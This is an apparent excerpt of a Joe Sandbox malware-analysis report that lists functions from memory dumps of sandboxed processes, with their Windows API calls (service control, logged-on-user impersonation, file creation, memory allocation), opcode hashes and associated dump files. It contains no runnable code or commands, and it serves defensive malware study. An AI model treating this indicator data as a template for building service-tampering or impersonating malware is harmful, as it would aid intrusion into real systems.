Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: e986f826cb49aeb6bf5b1a5c5d65c0d6c61b304e52a22821b979ac675422ac2b
Instruction ID: 0f0d548e32476119ae88566f820232076af6794c7853806de2eaba0a99b2ecff
Opcode Fuzzy Hash: e986f826cb49aeb6bf5b1a5c5d65c0d6c61b304e52a22821b979ac675422ac2b
Instruction Fuzzy Hash: A211E4B29003499FDB10CF9AC584BDEFBF4EB48324F108429E559A7250D778A644CFA5

Function 04B71509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04B71580

Memory Dump Source

Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9b1d28379a4e12edffaa8a5a87f0f4d51ad372eade0df25f8f2058e3deb246ce
Instruction ID: c828601b071e25b4a7d8dccb0febd820f5d798158b1a0d294feea7d21763a9b9
Opcode Fuzzy Hash: 9b1d28379a4e12edffaa8a5a87f0f4d51ad372eade0df25f8f2058e3deb246ce
Instruction Fuzzy Hash: 612114B2900249CFDB10CF9AC584BDEFBF4EF48324F10842AE958A7250D778A644CFA5

Function 04B71301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04B71367

Memory Dump Source

Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 7ab8c2978764d7c860a2a0af8c878bd38da0dff10c150baba39ff7f528f8df02
Instruction ID: bb0f9455139ad17740936bbdc47c4bfcb8561f9885e744498686f9101cdd4438
Opcode Fuzzy Hash: 7ab8c2978764d7c860a2a0af8c878bd38da0dff10c150baba39ff7f528f8df02
Instruction Fuzzy Hash: 4C1113B1800249CFDB10DF9AC544BDEBBF4EF48324F20846AD568A7241D778A554CBA5

Function 04B71308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04B71367

Memory Dump Source

Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 486f092bdaba04438e73367cadf03ff22728bd1fc5c48a26efa21690f12ff784
Instruction ID: dba1f3d13d3f49ad87442bf3c2c9b98d0095ff08e83b82c3ad89de7f9506317b
Opcode Fuzzy Hash: 486f092bdaba04438e73367cadf03ff22728bd1fc5c48a26efa21690f12ff784
Instruction Fuzzy Hash: A111F2B2800249CFDB10CFAAC545BDEBBF8EB48724F24846AD558A3650D778A944CBA5

Function 0070F4A6 Relevance: 1.5, APIs: 1, Instructions: 27
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0070F4C3

Memory Dump Source

Source File: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5fa8022f063b792848e6f1141919861834bcf9f08bc1369e0f1efa65b2663b86
Instruction ID: 3011c3589d50e1d41352118dd1993f6e6ecb59e4c5c6166853751046ea0de7be
Opcode Fuzzy Hash: 5fa8022f063b792848e6f1141919861834bcf9f08bc1369e0f1efa65b2663b86
Instruction Fuzzy Hash: C3E06D7154C24ADACF649F74CAB56AE3BE0EB6A311F10022AE889C3E86D5251D21C71A

Function 0070F314 Relevance: 1.5, APIs: 1, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0070F31F

Memory Dump Source

Source File: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4987e1134f8853ad9b041c7ca61097c6e7377cf4f6f422591b48892b731c7cd2
Instruction ID: b0432b5fe097121a7c2500dcc4424ac95b7431a578c82a0dca44e1c18ce5d401
Opcode Fuzzy Hash: 4987e1134f8853ad9b041c7ca61097c6e7377cf4f6f422591b48892b731c7cd2
Instruction Fuzzy Hash: 29C02B302493B4A9D3235F30DCA0B9D7D008F02100F04084CD080478C3C93C5D04CB05

Function 0059E725 Relevance: 1.3, APIs: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0059E727

Memory Dump Source

Source File: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e9d8dffaea1bb95ee74b997ec8f598b7f090f5743e24bd1c839d98c1cd6663df
Instruction ID: fb8c0be43a634207e43957bbc52dea4b442e97aa9ce5f1e79ec8cc80733d0ac6
Opcode Fuzzy Hash: e9d8dffaea1bb95ee74b997ec8f598b7f090f5743e24bd1c839d98c1cd6663df
Instruction Fuzzy Hash: 59017CF254C3489BEB40BF19DC866BABBE5EF44310F26082DD6C64B640EA311884CA97

Function 0059E601 Relevance: 1.3, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0059E603

Memory Dump Source

Source File: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7e9534e810f45237fec985958f91656ccea61da0ce6e7f9fd3583f0ee18f6124
Instruction ID: 0966f954f78dfb01817e82d3d6db2766defc24630890dcbb6a43e7cfc09ec886
Opcode Fuzzy Hash: 7e9534e810f45237fec985958f91656ccea61da0ce6e7f9fd3583f0ee18f6124
Instruction Fuzzy Hash: 44F0BCB5408209DBDB446F28E0085AEBBB4EF05711F520A1DE8E686691DB785891CB1A

Analysis Process: 99Q4Y3O9GBOXYTDVM9GPHI.exePID: 1088, Parent PID: 6532COMMON

Executed Functions

Function 053C0BA9 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684d6f1fc2bfdef2b465e29a9bd4e72797e008dab50f27f670350c165358510a
Instruction ID: b5e8533ba27ab1de2bd079110204171ed5e726f114c6313c2b0f52847cf99165
Opcode Fuzzy Hash: 684d6f1fc2bfdef2b465e29a9bd4e72797e008dab50f27f670350c165358510a
Instruction Fuzzy Hash: D9113AE610C390EF874AD695879C5BD3FDAEE5733033080EEF0438E912D5A18D889352

Function 053C0D1E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70fde381fd91727b8fe5c844d1a85d1caf2f99d0f987d0963811508d4d48a104
Instruction ID: adc85408a41979ef1e4a64d746fd2e09911780139d6239e546fe705af3261f30
Opcode Fuzzy Hash: 70fde381fd91727b8fe5c844d1a85d1caf2f99d0f987d0963811508d4d48a104
Instruction Fuzzy Hash: C9F028DF48E291DC964AD1A2A35D7FE6F1FB59397033008EFE4035AE0254449F9993B2

Function 053C0C20 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e0e54e9022fd994e23cf6182e38ddafad1654065d12a7e1be67c6be05d6bcb
Instruction ID: fa1dd6dbade4ba7843b1c519c7cac0e8cc0448a4ad9392687fc27cfd1d6e95dd
Opcode Fuzzy Hash: d2e0e54e9022fd994e23cf6182e38ddafad1654065d12a7e1be67c6be05d6bcb
Instruction Fuzzy Hash: D2F0C2D7188290EE420AD6D983DC2BE2EEFBA9763033085EEB4478EE02E5654D445762

Function 053C0C18 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2469718853.00000000053C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_53c0000_99Q4Y3O9GBOXYTDVM9GPHI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442279f379782d93c58f98cdfe57f2096f5e2e922132fff91ccd7e7e57ed47e4
Instruction ID: ab5df1fdb9ec7b8c75e3ec5e54b65d87f21d8aa9771a62f6c799d48e1464ebfc
Opcode Fuzzy Hash: 442279f379782d93c58f98cdfe57f2096f5e2e922132fff91ccd7e7e57ed47e4
